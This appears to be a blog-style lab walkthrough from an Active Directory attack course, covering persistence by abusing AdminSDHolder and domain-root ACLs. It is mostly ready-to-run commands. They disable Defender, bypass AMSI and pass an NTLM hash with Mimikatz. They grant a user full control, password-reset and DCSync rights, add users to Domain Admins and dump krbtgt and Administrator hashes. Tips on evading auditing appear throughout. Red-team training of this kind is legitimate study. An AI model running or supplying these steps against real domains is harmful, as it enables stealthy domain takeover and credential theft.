Domain dominance Using ACL’s - AdminSDHolder, Part 7

 

Persistence using ACL's - AdminSDHolder

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs.

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-PowerView.ps1 -Session $sess

Enter-PSSession -Session $sess (PowerView will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin.

Now add full control permission for a user to the AdminSDHolder using powerview as DA:

Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' -PrincipleSamAccountname student1 -Rights All -Verbose

Other interesting permissions are reset passwords and write members:

Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' -PrincipleSamAccountname student1 -Rights ResetPassword -Verbose

This allows the student1 user to reset password of other users. 

Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' -PrincipleSamAccountname student1 -Rights WriteMembers -Verbose

This allows the user to add or remove a user from the group. 

To do the same using AD module:

Now from the domain admin privileged shell:

Import-Module .\ADModule-master\Microsoft.ActiveDirectory.Management.dll

Import-Module .\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

. .\Set-ADACL.ps1

Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principle studentadmin -Verbose

Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principle student1 -Verbose

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Invoke-Command -FilePath .\Invoke-SDPropagator.ps1 -Session $sess

Enter-PSSession -Session $sess

Now you are in domain controller machine. From there run:

Invoke-SDPropagator -showProgress -timeoutMinutes 1

We can also execute the above by logging in to the dc directly. In that case we need to transfer our powerview or Ad module script in AD. As those scripts are present to the studentadmin machine so we launch the commands from studentadmin machine as DA. Later we login to dc and execute the propagator. 

Now come back to the domain admin privileged shell:

We need to check the permission is assigned perfectly or not:

. .\PowerView.ps1

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'student1'}

We can also check if student1 has dcsync rights through out the domain (The result come out as null if there is no such permission set to the user student1):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "student1") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}

You should see that ActiveDirectoryRights is set as Genericall which means all rights. 

We can also add our user to the domain admins group using powerview_dev tool, but it is risky because it is audited frequently:

Add-DomainGroupMember -Identity 'Domain Admins' -Members testda -Verbose

We can do the same using AD Module:

Add-ADGroupMember -Identity 'Domain Admins' -Members testda

To view the user:

Get-ADUser -Identity testda

To view the domain admin group membership:

Get-ADGroupMember -Identity "domain admins"

Abusing reset password using powerview_dev. We can reset password of any domain admin or domain user in the domain. No need to add new user to the domain admin group:

Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainTest -Force) -Verbose

From AD module:

Set-ADAccountPassword -Identity testda -NewPassword (ConvertTo-SecureString "Password@123" -AsPlainTest -Force) -Verbose

There are more interesting acl's that can be abused. For example with DA privilege, domain root acl can be modified to allow a user full control rights or give the appropriate rights to apply dcsync attack:

From DA privileged shell:

Add-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipleSamAccountName student1 -Rights All -Verbose

Using AD module:

Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principle student1 -Verbose

The above may get caught. So we can give a user dcsync rights. 

Add rights for dcsync:

Add-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipleSamAccountName student1 -Rights DCSync -Verbose

Using AD module:

Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principle student1 -GUIDRight DCSync -Verbose

As your student1 user got dcsync rights and the rights is given by domain admin so now lets say after a gap of 6 month you come again and login to your student1 machine. You don't need a admin shell to run the dcsync attack. So from a non-admin shell:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

or

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\Administrator"'

Avi